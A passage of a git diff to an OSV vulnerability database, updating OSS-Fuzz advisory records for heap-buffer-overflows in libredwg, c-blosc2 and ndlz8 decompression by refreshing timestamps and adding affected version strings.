.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2021-1086.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=36728"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2021-1086","published":"2021-08-02T00:00:31.888461Z","modified":"2026-11-12T14:30:05.617764981Z","summary":"Heap-buffer-overflow in dwg_convert_SAB_to_SAT1","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=36728\n\n```\nCrash type: Heap-buffer-overflow READ 2\nCrash state:\ndwg_convert_SAB_to_SAT1\ndxf_3dsolid\ndwg_dxf_REGION_private\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"629cbbdcebd7f5751ddb72eacf8f3e1a5b854e2b"}]}],"versions":["0.12.3.4264","0.12.3.4267","0.12.3.4270","0.12.3.4273","0.12.3.4280","0.12.4","0.12.4.4288","0.12.4.4296","0.12.4.4298","0.12.4.4300","0.12.4.4302","0.12.4.4307","0.12.4.4313","0.12.4.4317","0.12.4.4321","0.12.4.4324","0.12.4.4331","0.12.4.4338","0.12.4.4343","0.12.4.4348","0.12.4.4362","0.12.4.4364","0.12.4.4367","0.12.4.4287","0.12.4.4368","0.12.4.4375","0.12.4.4378","0.12.4.4382","0.12.4.4384","0.12.4.4387","0.12.4.4390","0.12.4.4393","0.12.5-pre","0.12.4.4395","0.12.4.4398","0.12.4.4399","0.12.4.4400","0.12.4.4402","0.12.5","0.12.4.4403","0.12.4.4404","0.12.4.4409","0.12.4.4415","0.12.4.4420","0.12.4.4423","0.12.4.4425","0.12.4.4430","0.12.4.4437","0.12.4.4442","0.12.4.4444","0.12.4.4462","0.12.4.4466","0.12.4.4467","0.12.4.4475","0.12.4.4487","0.12.4.4491","0.12.4.4492","0.12.4.4494","0.12.4.4497","0.12.4.4507","0.12.4.4515","0.12.4.4517","0.12.4.4522","0.12.4.4527","0.12.4.4530","0.12.4.4533","0.12.4.4535","0.12.4.4542","0.12.4.4544","0.12.4.4545","0.12.4.4548","0.12.4.4550","0.12.4.4553","0.12.4.4566","0.12.4.4567","0.12.4.4572","0.12.4.4583","0.12.4.4590","0.12.4.4598","0.12.4.4601","0.12.4.4606","0.12.4.4607","0.12.4.4608","0.12.4.4613","0.12.4.4615","0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936","0.14.8941","0.14.8946"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2021-1086.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=36728"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2021-1672.json b/data/OSS-Fuzz/OSV-2021-1672.json index 0a11527499..617312bf74 100644 --- a/data/OSS-Fuzz/OSV-2021-1672.json +++ b/data/OSS-Fuzz/OSV-2021-1672.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2021-1672","published":"2021-12-12T00:01:29.747137Z","modified":"2026-11-11T14:30:03.341943960Z","summary":"Heap-buffer-overflow in blosc_d","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=42210\n\n```\nCrash type: Heap-buffer-overflow READ 4\nCrash state:\nblosc_d\ndo_job\nblosc_run_decompression_with_context\n```\n","affected":[{"package":{"name":"c-blosc2","ecosystem":"OSS-Fuzz","purl":"pkg:generic/c-blosc2"},"ranges":[{"type":"GIT","repo":"https://github.com/Blosc/c-blosc2.git","events":[{"introduced":"4a727370b1c2e9746434c00bf2236db86c31ea5c"}]}],"versions":["v2.0.0","v2.0.0-rc2","v2.0.0.rc1","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.1","v2.2.0","v2.3.0","v2.3.1","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.6.0","v2.6.1","v2.7.0","v2.7.1","v2.8.0","v2.9.0","v2.9.1","v2.9.2","v2.9.3","v2.10.0","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.11.0","v2.11.1","v2.11.2","v2.11.3","v2.12.0","v2.13.0","v2.13.1","v2.13.2","v2.14.0","v2.14.1","v2.14.2","v2.14.3","v2.14.4","v2.15.0","v2.15.1","v2.15.2","v2.16.0","v2.17.0","v2.17.1","v2.18.0","v2.19.0","v2.19.1","v2.20.0","v2.21.0","v2.21.1","v2.21.2","v2.21.3","v2.22.0","v2.23.0","v2.23.1","v3.0.0.rc1","v3.0.0.rc2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.3.0","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.4.0","v3.4.1","v3.5.0","v3.6.0","v3.6.1"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/c-blosc2/OSV-2021-1672.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=42210"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2021-1672","published":"2021-12-12T00:01:29.747137Z","modified":"2026-11-12T14:30:05.281210139Z","summary":"Heap-buffer-overflow in blosc_d","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=42210\n\n```\nCrash type: Heap-buffer-overflow READ 4\nCrash state:\nblosc_d\ndo_job\nblosc_run_decompression_with_context\n```\n","affected":[{"package":{"name":"c-blosc2","ecosystem":"OSS-Fuzz","purl":"pkg:generic/c-blosc2"},"ranges":[{"type":"GIT","repo":"https://github.com/Blosc/c-blosc2.git","events":[{"introduced":"4a727370b1c2e9746434c00bf2236db86c31ea5c"}]}],"versions":["v2.0.0","v2.0.0-rc2","v2.0.0.rc1","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.1","v2.2.0","v2.3.0","v2.3.1","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.6.0","v2.6.1","v2.7.0","v2.7.1","v2.8.0","v2.9.0","v2.9.1","v2.9.2","v2.9.3","v2.10.0","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.11.0","v2.11.1","v2.11.2","v2.11.3","v2.12.0","v2.13.0","v2.13.1","v2.13.2","v2.14.0","v2.14.1","v2.14.2","v2.14.3","v2.14.4","v2.15.0","v2.15.1","v2.15.2","v2.16.0","v2.17.0","v2.17.1","v2.18.0","v2.19.0","v2.19.1","v2.20.0","v2.21.0","v2.21.1","v2.21.2","v2.21.3","v2.22.0","v2.23.0","v2.23.1","v3.0.0.rc1","v3.0.0.rc2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.3.0","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.4.0","v3.4.1","v3.5.0","v3.6.0","v3.6.1","v3.6.2"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/c-blosc2/OSV-2021-1672.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=42210"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-1134.json b/data/OSS-Fuzz/OSV-2022-1134.json index d743608a28..16e0ad124d 100644 --- a/data/OSS-Fuzz/OSV-2022-1134.json +++ b/data/OSS-Fuzz/OSV-2022-1134.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-1134","published":"2022-11-04T00:02:11.463429Z","modified":"2026-11-11T14:30:03.340465029Z","summary":"Heap-buffer-overflow in ndlz8_decompress","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=52967\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash 